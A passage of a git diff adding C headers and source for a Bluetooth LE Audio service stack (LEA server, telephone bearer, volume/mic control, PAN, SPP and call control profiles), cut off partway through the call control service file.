Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __LEA_SERVER_SERVICE_H__ +#define __LEA_SERVER_SERVICE_H__ + +/**************************************************************************** + * Included Files + ****************************************************************************/ +#include "bt_device.h" +#include "bt_lea_server.h" +#include "lea_audio_common.h" + +typedef struct lea_server_interface { + size_t size; + + void* (*register_callbacks)(void* remote, + const lea_server_callbacks_t* callbacks); + bool (*unregister_callbacks)(void** remote, void* cookie); + + bt_status_t (*start_announce)(int8_t adv_id, uint8_t announce_type, + uint8_t* adv_data, uint16_t adv_size, + uint8_t* md_data, uint16_t md_size); + bt_status_t (*stop_announce)(int8_t adv_id); + bt_status_t (*disconnect)(bt_address_t* addr); + bt_status_t (*disconnect_audio)(bt_address_t* addr); + profile_connection_state_t (*get_connection_state)(bt_address_t* addr); +} lea_server_interface_t; + +lea_audio_stream_t* lea_server_add_stream(uint32_t stream_id, bt_address_t* remote_addr); +lea_audio_stream_t* lea_server_find_stream(uint32_t stream_id); +lea_audio_stream_t* lea_server_update_stream(lea_audio_stream_t* stream); +void lea_server_remove_stream(uint32_t stream_id); +void lea_server_remove_streams(void); + +void lea_server_notify_stack_state_changed(lea_server_stack_state_t enabled); +void lea_server_notify_connection_state_changed(bt_address_t* addr, profile_connection_state_t state); + +void lea_server_on_stack_state_changed(lea_server_stack_state_t state); +void lea_server_on_connection_state_changed(bt_address_t* addr, + profile_connection_state_t state); +void lea_server_on_storage_changed(void* value, uint32_t size); +void lea_server_on_stream_added(bt_address_t* addr, uint32_t stream_id); +void lea_server_on_stream_removed(bt_address_t* addr, uint32_t stream_id); +void lea_server_on_stream_started(lea_audio_stream_t* stream); +void lea_server_on_stream_stopped(uint32_t stream_id); +void lea_server_on_stream_suspend(uint32_t stream_id); +void lea_server_on_metedata_updated(uint32_t stream_id); +void lea_server_on_stream_recv(uint32_t stream_id, uint32_t time_stamp, + uint16_t seq_number, uint8_t* sdu, uint16_t size); +bt_status_t lea_server_streams_started(bt_address_t* addr); +void lea_server_on_ascs_event(bt_address_t* addr, uint8_t id, uint8_t state, uint16_t type); + +void lea_server_on_csis_lock_state_changed(uint32_t csis_id, bt_address_t* addr, uint8_t lock); + +bool lea_server_on_pacs_info_request(lea_pacs_info_t* pacs_info); +bool lea_server_on_ascs_info_request(lea_ascs_info_t* ascs_info); +bool lea_server_on_bass_info_request(lea_bass_info_t* bass_info); +bool lea_server_on_csis_info_request(lea_csis_infos_t* csis_info); + +/* + * register profile to service manager + */ +void register_lea_server_service(void); + +#endif /* __HFP_HF_SERVICE_H__ */ diff --git a/service/profiles/include/lea_server_state_machine.h b/service/profiles/include/lea_server_state_machine.h new file mode 100644 index 0000000000000000000000000000000000000000..89ecfcc0bcb3d9aa240a2b83a5887f800468861e --- /dev/null +++ b/service/profiles/include/lea_server_state_machine.h @@ -0,0 +1,30 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __LEA_SERVER_STATE_MACHINE_H__ +#define __LEA_SERVER_STATE_MACHINE_H__ + +#include "lea_server_event.h" +#include "state_machine.h" + +typedef struct _lea_server_state_machine lea_server_state_machine_t; + +lea_server_state_machine_t* lea_server_state_machine_new(bt_address_t* addr, void* context); +void lea_server_state_machine_destory(lea_server_state_machine_t* leas_sm); +void lea_server_state_machine_dispatch(lea_server_state_machine_t* leas_sm, lea_server_msg_t* msg); +uint32_t lea_server_state_machine_get_state(lea_server_state_machine_t* leas_sm); +void lea_server_state_machine_set_offloading(lea_server_state_machine_t* leas_sm, bool offloading); + +#endif /* __LEA_SERVER_STATE_MACHINE_H__ */ diff --git a/service/profiles/include/lea_tbs_event.h b/service/profiles/include/lea_tbs_event.h new file mode 100644 index 0000000000000000000000000000000000000000..3610b7b693627cfc38e15e23bede7d1f674e1b65 --- /dev/null +++ b/service/profiles/include/lea_tbs_event.h @@ -0,0 +1,59 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __LEA_TBS_EVENT_H__ +#define __LEA_TBS_EVENT_H__ + +/**************************************************************************** + * Included Files + ****************************************************************************/ +#include "bt_lea_tbs.h" +#include <stdint.h> + +typedef enum { + STACK_EVENT_TBS_STATE_CHANGED, + STACK_EVENT_BEARER_SET_CHANED, + STACK_EVENT_CALL_ADDED, + STACK_EVENT_CALL_REMOVED, + STACK_EVENT_ACCEPT_CALL, + STACK_EVENT_TERMINATE_CALL, + STACK_EVENT_LOCAL_HOLD_CALL, + STACK_EVENT_LOCAL_RETRIEVE_CALL, + STACK_EVENT_ORIGINATE_CALL, + STACK_EVENT_JOIN_CALL, +} lea_tbs_event_t; + +typedef struct { + uint32_t tbs_id; + uint32_t valueint32; + uint16_t valueint16; + uint8_t valueint8; + bool valuebool; + uint8_t dataarry[1]; +} lea_tbs_event_data_t; + +typedef struct { + lea_tbs_event_t event; + lea_tbs_event_data_t event_data; +} lea_tbs_msg_t; + +/**************************************************************************** + * Public Functions + ****************************************************************************/ +lea_tbs_msg_t* lea_tbs_msg_new(lea_tbs_event_t event, uint32_t tbs_id); +lea_tbs_msg_t* lea_tbs_msg_new_ext(lea_tbs_event_t event, uint32_t tbs_id, size_t size); +void lea_tbs_msg_destory(lea_tbs_msg_t* tbs_msg); + +#endif /* __LEA_TBS_EVENT_H__ */ \ No newline at end of file diff --git a/service/profiles/include/lea_tbs_service.h b/service/profiles/include/lea_tbs_service.h new file mode 100644 index 0000000000000000000000000000000000000000..9850b785164b60434f8e291d1ef1c4b3e80eec51 --- /dev/null +++ b/service/profiles/include/lea_tbs_service.h @@ -0,0 +1,81 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __LEA_TBS_SERVICE_H__ +#define __LEA_TBS_SERVICE_H__ + +/**************************************************************************** + * Included Files + ****************************************************************************/ +#include "bt_device.h" +#include "bt_lea_tbs.h" +#include "sal_lea_tbs_interface.h" +#include "stddef.h" + +/**************************************************************************** + * sal callback + ****************************************************************************/ +void lea_tbs_on_state_changed(uint32_t tbs_id, uint8_t ccid, bool added); +void lea_tbs_on_bearer_info_set(uint32_t tbs_id, char* bearer_ref, bool result); +void lea_tbs_on_call_added(uint32_t tbs_id, uint8_t call_index, bool result); +void lea_tbs_on_call_removed(uint32_t tbs_id, uint8_t call_index); +void lea_tbs_on_accept_call(uint32_t tbs_id, uint8_t call_index); +void lea_tbs_on_terminate_call(uint32_t tbs_id, uint8_t call_index); +void lea_tbs_on_local_hold_call(uint32_t tbs_id, uint8_t call_index); +void lea_tbs_on_local_retrieve_call(uint32_t tbs_id, uint8_t call_index); +void lea_tbs_on_originate_call(uint32_t tbs_id, size_t size, char* uri); +void lea_tbs_on_join_call(uint32_t tbs_id, uint8_t index_number, size_t size, char* index_list); + +/**************************************************************************** + * lea tbs interface + ****************************************************************************/ +bt_status_t lea_tbs_set_telephone_bearer_info(lea_tbs_telephone_bearer_t* bearer); +bt_status_t lea_tbs_add_call(lea_tbs_calls_t* call_s); +bt_status_t lea_tbs_remove_call(uint8_t call_index); +bt_status_t lea_tbs_provider_name_changed(uint8_t* name); +bt_status_t lea_tbs_bearer_technology_changed(lea_adpt_bearer_technology_t technology); +bt_status_t lea_tbs_uri_schemes_supported_list_changed(uint8_t* uri_schemes); +bt_status_t lea_tbs_rssi_value_changed(uint8_t strength); +bt_status_t lea_tbs_rssi_interval_changed(uint8_t interval); +bt_status_t lea_tbs_status_flags_changed(uint8_t status_flags); +bt_status_t lea_tbs_call_state_changed(uint8_t number, lea_tbs_call_state_t* state_s); +bt_status_t lea_tbs_notify_termination_reason(uint8_t call_index, lea_adpt_termination_reason_t reason); + +typedef struct { + size_t size; + bt_status_t (*tbs_add)(); + bt_status_t (*tbs_remove)(); + bt_status_t (*set_telephone_bearer)(lea_tbs_telephone_bearer_t* bearer); + bt_status_t (*add_call)(lea_tbs_calls_t* call_s); + bt_status_t (*remove_call)(uint8_t call_index); + bt_status_t (*provider_name_changed)(uint8_t* name); + bt_status_t (*bearer_technology_changed)(lea_adpt_bearer_technology_t technology); + bt_status_t (*uri_schemes_supported_list_changed)(uint8_t* uri_schemes); + bt_status_t (*rssi_value_changed)(uint8_t strength); + bt_status_t (*rssi_interval_changed)(uint8_t interval); + bt_status_t (*status_flags_changed)(uint8_t status_flags); + bt_status_t (*call_state_changed)(uint8_t number, lea_tbs_call_state_t* state_s); + bt_status_t (*notify_termination_reason)(uint8_t call_index, lea_adpt_termination_reason_t reason); + bt_status_t (*call_control_response)(uint8_t call_index, lea_adpt_call_control_result_t result); + void* (*register_callbacks)(void* handle, lea_tbs_callbacks_t* callbacks); + bool (*unregister_callbacks)(void** handle, void* cookie); +} lea_tbs_interface_t; + +/* + * register profile to service manager + */ +void register_lea_tbs_service(void); + +#endif /* __LEA_TBS_SERVICE_H__ */ \ No newline at end of file diff --git a/service/profiles/include/lea_tbs_tele_service.h b/service/profiles/include/lea_tbs_tele_service.h new file mode 100644 index 0000000000000000000000000000000000000000..f75676fba287e0d456d73172faf548ba85de5bc2 --- /dev/null +++ b/service/profiles/include/lea_tbs_tele_service.h @@ -0,0 +1,34 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __LEA_TBS_TELE_SERVICE_H__ +#define __LEA_TBS_TELE_SERVICE_H__ + +/**************************************************************************** + * Included Files + ****************************************************************************/ +#include "bt_lea_tbs.h" +#include "stddef.h" + +void lea_tbs_tele_service_init(void); +lea_tbs_call_state_t* lea_tbs_find_call_by_index(uint8_t call_index); +lea_tbs_call_state_t* lea_tbs_find_call_by_state(uint8_t call_state); +bt_status_t tele_service_accept_call(char* call_id); +bt_status_t tele_service_terminate_call(char* call_id); +bt_status_t tele_service_hold_call(); +bt_status_t tele_service_unhold_call(); +bt_status_t tele_service_originate_call(char* uri); + +#endif /* __LEA_TBS_TELE_SERVICE_H__ */ \ No newline at end of file diff --git a/service/profiles/include/lea_vmicp_event.h b/service/profiles/include/lea_vmicp_event.h new file mode 100644 index 0000000000000000000000000000000000000000..977b701ed925dbf409919032c678520cb3995c20 --- /dev/null +++ b/service/profiles/include/lea_vmicp_event.h @@ -0,0 +1,54 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __LEA_VMICP_EVENT_H__ +#define __LEA_VMICP_EVENT_H__ + +/**************************************************************************** + * Included Files + ****************************************************************************/ +#include "bt_addr.h" +#include "bt_lea_vmicp.h" +#include <stdint.h> + +typedef struct { + uint8_t volume; + uint8_t mute; +} bts_vmicp_vol_state_s; + +typedef enum { + STACK_EVENT_VCC_VOLUME_STATE = 0, + STACK_EVENT_VCC_VOLUME_FLAGS, + STACK_EVENT_MICC_MUTE_STATE +} lea_vmicp_event_t; + +typedef struct { + bt_address_t remote_addr; + lea_vmicp_event_t event; + union { + bts_vmicp_vol_state_s vol_state; + uint8_t vol_flags; + uint8_t mic_mute_state; + } data; +} lea_vmicp_msg_t; + +/**************************************************************************** + * Public Functions + ****************************************************************************/ +lea_vmicp_msg_t* lea_vmicp_msg_new(lea_vmicp_event_t event, bt_address_t* remote_addr); + +void lea_vmicp_msg_destory(lea_vmicp_msg_t* msg); + +#endif /* __LEA_VMICP_EVENT_H__ */ diff --git a/service/profiles/include/lea_vmicp_service.h b/service/profiles/include/lea_vmicp_service.h new file mode 100644 index 0000000000000000000000000000000000000000..f21c16f690a2ce991f75b03fdcc9921bbc9de26d --- /dev/null +++ b/service/profiles/include/lea_vmicp_service.h @@ -0,0 +1,58 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __LEA_VMICP_SERVICE_H__ +#define __LEA_VMICP_SERVICE_H__ + +/**************************************************************************** + * Included Files + ****************************************************************************/ +#include "bt_device.h" +#include "bt_lea_vmicp.h" +#include "sal_lea_vmicp_interface.h" + +/**************************************************************************** + * sal callback + ****************************************************************************/ +void lea_vmicp_on_volume_state_changed(bt_address_t* addr, uint8_t volume, uint8_t mute); +void lea_vmicp_on_volume_flags_changed(bt_address_t* addr, uint8_t flags); +void lea_vmicp_on_mic_state_changed(bt_address_t* addr, uint8_t mute); + +/**************************************************************************** + * lea vmicp interface + ****************************************************************************/ +typedef struct { + size_t size; + + bt_status_t (*vol_get)(bt_address_t* remote_addr); + bt_status_t (*flags_get)(bt_address_t* remote_addr); + bt_status_t (*vol_change)(bt_address_t* remote_addr, int dir); + bt_status_t (*vol_unmute_change)(bt_address_t* remote_addr, int dir); + bt_status_t (*vol_set)(bt_address_t* remote_addr, int vol); + bt_status_t (*mute_state_set)(bt_address_t* remote_addr, int state); + + bt_status_t (*mic_mute_get)(bt_address_t* remote_addr); + bt_status_t (*mic_mute_set)(bt_address_t* remote_addr, int mute); + + void* (*register_callbacks)(void* handle, lea_vmicp_callbacks_t* callbacks); + bool (*unregister_callbacks)(void** handle, void* cookie); +} lea_vmicp_interface_t; + +/* + * register profile to service manager + */ +void register_lea_vmicp_service(void); + +#endif /* __LEA_VMICP_SERVICE_H__ */ diff --git a/service/profiles/include/lea_vmics_event.h b/service/profiles/include/lea_vmics_event.h new file mode 100644 index 0000000000000000000000000000000000000000..6c199fad7753923652fbe48cf1428a0de781c519 --- /dev/null +++ b/service/profiles/include/lea_vmics_event.h @@ -0,0 +1,53 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __LEA_VMICS_EVENT_H__ +#define __LEA_VMICS_EVENT_H__ + +/**************************************************************************** + * Included Files + ****************************************************************************/ +#include "bt_addr.h" +#include "bt_lea_vmics.h" +#include <stdint.h> + +typedef struct { + uint8_t volume; + uint8_t mute; +} bts_vmicp_vol_state_s; + +typedef enum { + STACK_EVENT_VCS_VOLUME_STATE = 0, + STACK_EVENT_VCS_VOLUME_FLAGS, + STACK_EVENT_MICS_MUTE_STATE +} lea_vmics_event_t; + +typedef struct { + lea_vmics_event_t event; + union { + bts_vmicp_vol_state_s vol_state; + uint8_t vol_flags; + uint8_t mic_mute_state; + } data; +} lea_vmics_msg_t; + +/**************************************************************************** + * Public Functions + ****************************************************************************/ +lea_vmics_msg_t* lea_vmics_msg_new(lea_vmics_event_t event); + +void lea_vmics_msg_destory(lea_vmics_msg_t* msg); + +#endif /* __LEA_VMICS_EVENT_H__ */ \ No newline at end of file diff --git a/service/profiles/include/lea_vmics_service.h b/service/profiles/include/lea_vmics_service.h new file mode 100644 index 0000000000000000000000000000000000000000..e5ebb6ae292046bc47d870c666fe7e60d3063236 --- /dev/null +++ b/service/profiles/include/lea_vmics_service.h @@ -0,0 +1,45 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __LEA_VMICS_SERVICE_H__ +#define __LEA_VMICS_SERVICE_H__ + +/**************************************************************************** + * Included Files + ****************************************************************************/ +#include "bt_device.h" +#include "bt_lea_vmics.h" +#include "sal_lea_vmics_interface.h" + +void lea_vmics_on_vcs_volume_state_changed(service_lea_vcs_volume_state_s* vol_state); +void lea_vmics_on_vcs_volume_flags_changed(uint8_t flags); +void lea_vmics_on_mics_mute_state_changed(uint8_t mute); + +typedef struct { + size_t size; + bt_status_t (*vcs_volume_notify)(void* handle, int vol); + bt_status_t (*vcs_mute_notify)(void* handle, int mute); + bt_status_t (*vcs_volume_flags_notify)(void* handle, int flags); + bt_status_t (*mics_mute_notify)(void* handle, int mute); + void* (*register_callbacks)(void* handle, lea_vmics_callbacks_t* callbacks); + bool (*unregister_callbacks)(void** handle, void* cookie); +} lea_vmics_interface_t; + +/* + * register profile to service manager + */ +void register_lea_vmics_service(void); + +#endif /* __LEA_VMICS_SERVICE_H__ */ diff --git a/service/profiles/include/openpty.h b/service/profiles/include/openpty.h new file mode 100644 index 0000000000000000000000000000000000000000..70ccebf7d3c670fafa033b0acdb5309d8e657029 --- /dev/null +++ b/service/profiles/include/openpty.h @@ -0,0 +1,38 @@ +/**************************************************************************** + * + * Copyright (C) 2023 Xiaomi InC. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * 3. Neither the name NuttX nor the names of its contributors may be + * used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS + * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE + * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, + * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS + * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED + * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN + * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + * + ****************************************************************************/ +#ifndef __OPEN_PTY_H__ +#define __OPEN_PTY_H__ + +int open_pty(int* master, char* name); + +#endif \ No newline at end of file diff --git a/service/profiles/include/pan_service.h b/service/profiles/include/pan_service.h new file mode 100644 index 0000000000000000000000000000000000000000..02847744d4e72584c30dc2bae0afeda28c111450 --- /dev/null +++ b/service/profiles/include/pan_service.h @@ -0,0 +1,70 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __PAN_SERVICE_H__ +#define __PAN_SERVICE_H__ + +/**************************************************************************** + * Included Files + ****************************************************************************/ +#include "bt_device.h" +#include "bt_pan.h" + +typedef struct { + size_t size; + + /** + * @brief Register the pan event callback + * @param[in] callbacks pan event callback function. + */ + void* (*register_callbacks)(void* remote, const pan_callbacks_t* callbacks); + + /** + * @brief Unregister the pan event callback + */ + bool (*unregister_callbacks)(void** remote, void* cookie); + + /** + * @brief Connect to the NAP server + * @param[in] handle the pan handle (unused). + * @param[in] addr address of peer device. + * @param[in] dst_role remote pan server role. + * @param[in] src_role local pan role. + * @note Only support PANU connect to NAP server, so dst_role must be 1, src_role must be 2. + * @return BT_STATUS_SUCCESS on success; a negated errno value on failure. + */ + bt_status_t (*connect)(bt_address_t* addr, uint8_t dst_role, uint8_t src_role); + + /** + * @brief Dis-connect from NAP server + * @param[in] handle the pan handle (unused). + * @param[in] addr address of peer device. + * @return BT_STATUS_SUCCESS on success; a negated errno value on failure. + */ + bt_status_t (*disconnect)(bt_address_t* addr); +} pan_interface_t; + +void pan_on_connection_state_changed(bt_address_t* addr, pan_role_t remote_role, + pan_role_t local_role, profile_connection_state_t state); +void pan_on_data_received(bt_address_t* addr, uint16_t protocol, + uint8_t* dst_addr, uint8_t* src_addr, + uint8_t* data, uint16_t length); + +/* + * register profile to service manager + */ +void register_pan_service(void); + +#endif /* __PAN_SERVICE_H__ */ \ No newline at end of file diff --git a/service/profiles/include/spp_service.h b/service/profiles/include/spp_service.h new file mode 100644 index 0000000000000000000000000000000000000000..2d1660f504e718d35a0decfb95ff99dbbb77c5e1 --- /dev/null +++ b/service/profiles/include/spp_service.h @@ -0,0 +1,49 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __SPP_SERVICE_H__ +#define __SPP_SERVICE_H__ + +/**************************************************************************** + * Included Files + ****************************************************************************/ +#include "bt_device.h" +#include "bt_spp.h" + +typedef struct spp_interface { + size_t size; + void* (*register_app)(void* remote, const char* name, const spp_callbacks_t* callbacks); + bt_status_t (*unregister_app)(void** remote, void* handle); + bt_status_t (*server_start)(void* handle, uint16_t scn, bt_uuid_t* uuid, uint8_t max_connection); + bt_status_t (*server_stop)(void* handle, uint16_t scn); + bt_status_t (*connect)(void* handle, bt_address_t* addr, int16_t scn, bt_uuid_t* uuid, uint16_t* port); + bt_status_t (*disconnect)(void* handle, bt_address_t* addr, uint16_t port); +} spp_interface_t; + +void spp_on_connection_state_changed(bt_address_t* addr, uint16_t conn_port, + profile_connection_state_t state); +void spp_on_data_sent(uint16_t conn_port, uint8_t* buffer, uint16_t length, + uint16_t sent_length); +void spp_on_data_received(bt_address_t* addr, uint16_t conn_port, + uint8_t* buffer, uint16_t length); +void spp_on_server_recieve_connect_request(bt_address_t* addr, uint16_t scn); +void spp_on_connection_mfs_update(uint16_t conn_port, uint16_t mfs); + +/* + * register profile to service manager + */ +void register_spp_service(void); + +#endif /* __SPP_SERVICE_H__ */ \ No newline at end of file diff --git a/service/profiles/leaudio/ccp/lea_ccp_event.c b/service/profiles/leaudio/ccp/lea_ccp_event.c new file mode 100644 index 0000000000000000000000000000000000000000..8bb45e80868862f3fee3d5aa369d089aae2c99ec --- /dev/null +++ b/service/profiles/leaudio/ccp/lea_ccp_event.c @@ -0,0 +1,49 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <stdlib.h> +#include <string.h> + +#include "bt_addr.h" +#include "lea_ccp_event.h" + +lea_ccp_msg_t* lea_ccp_msg_new(lea_ccp_event_t event, bt_address_t* remote_addr, + uint32_t tbs_id) +{ + return lea_ccp_msg_new_ext(event, remote_addr, tbs_id, 0); +} + +lea_ccp_msg_t* lea_ccp_msg_new_ext(lea_ccp_event_t event, bt_address_t* remote_addr, + uint32_t tbs_id, size_t size) +{ + lea_ccp_msg_t* ccp_msg; + + ccp_msg = (lea_ccp_msg_t*)malloc(sizeof(lea_ccp_msg_t) + size); + if (ccp_msg == NULL) + return NULL; + + ccp_msg->event = event; + memset(&ccp_msg->event_data, 0, sizeof(ccp_msg->event_data) + size); + if (remote_addr != NULL) + memcpy(&ccp_msg->remote_addr, remote_addr, sizeof(bt_address_t)); + + ccp_msg->event_data.tbs_id = tbs_id; + return ccp_msg; +} + +void lea_ccp_msg_destory(lea_ccp_msg_t* ccp_msg) +{ + free(ccp_msg); +} diff --git a/service/profiles/leaudio/ccp/lea_ccp_service.c b/service/profiles/leaudio/ccp/lea_ccp_service.c new file mode 100644 index 0000000000000000000000000000000000000000..1144631e6a04ef665f10de1322d8054efae127bc --- /dev/null +++ b/service/profiles/leaudio/ccp/lea_ccp_service.c @@ -0,0 +1,1315 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +/**************************************************************************** + * Included Files + ****************************************************************************/ +#define LOG_TAG "lea_ccp_service" + +#include <errno.h> +#include <stdlib.h> +#include <string.h> +#include <sys/types.h> + +#include "bt_lea_ccp.h" +#include "bt_profile.h" +#include "callbacks_list.h" +#include "lea_ccp_event.h" +#include "lea_ccp_service.h" +#include "lea_server_service.h" +#include "sal_lea_ccp_interface.h" +#include "service_loop.h" +#include "service_manager.h" +#include "utils/log.h" + +/**************************************************************************** + * Private Data + ****************************************************************************/ +#ifdef CONFIG_BLUETOOTH_LEAUDIO_CCP +#define CHECK_ENABLED() \ + { \ + if (!g_ccp_service.started) \ + return BT_STATUS_NOT_ENABLED; \ + } + +#define CCP_CALLBACK_FOREACH(_list, _cback, ...) BT_CALLBACK_FOREACH(_list, lea_ccp_callbacks_t, _cback, ##__VA_ARGS__) + +typedef struct +{ + bool started; + bts_tbs_info_s tbs_info; + bt_list_t* lea_calls; + bearer_tele_info_t* info; + callbacks_list_t* callbacks; + pthread_mutex_t ccp_lock; +} lea_ccp_service_t; + +static lea_ccp_service_t g_ccp_service = { + .started = false, + .lea_calls = NULL, + .info = NULL, + .callbacks = NULL, +}; + +/**************************************************************************** + * Private Data + ****************************************************************************/ +static bool lea_ccp_call_cmp_index(void* ccp_call, void* call_index) +{ + return ((lea_tbs_call_state_t*)ccp_call)->index == *((uint8_t*)call_index); +} + +static bool lea_ccp_call_cmp_state(void* ccp_call, void* call_state) +{ + return ((lea_tbs_call_state_t*)ccp_call)->state == *((uint8_t*)call_state); +} + +lea_tbs_call_state_t* lea_ccp_find_call_by_index(uint8_t call_index) +{ + lea_tbs_call_state_t* ccp_call; + + pthread_mutex_lock(&g_ccp_service.ccp_lock); + ccp_call = 